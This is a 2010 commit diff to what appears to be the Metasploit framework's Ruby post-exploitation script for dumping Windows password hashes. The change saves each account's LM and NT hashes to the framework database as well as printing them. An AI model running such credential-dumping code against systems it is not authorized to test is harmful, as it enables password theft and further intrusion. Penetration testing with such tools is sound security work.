store results in the database

git-svn-id: file:///home/svn/framework3/trunk@8239 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2010-01-26 18:29:01 +00:00
parent c003a663d1
commit 9bca87a611
1 changed files with 10 additions and 2 deletions

View File

@ -233,8 +233,16 @@ print_status("Dumping password hashes...")
print_line()
print_line()
users.keys.sort{|a,b| a<=>b}.each do |rid|
print_line "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
framework.db.report_auth_info(
:host => client.sock.peerhost,
:proto => 'smb',
:user => users[rid][:Name],
:hash => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
:hash_string => hashstring,
:target_host => client.sock.peerhost
)
print_line hashstring
end
print_line()
print_line()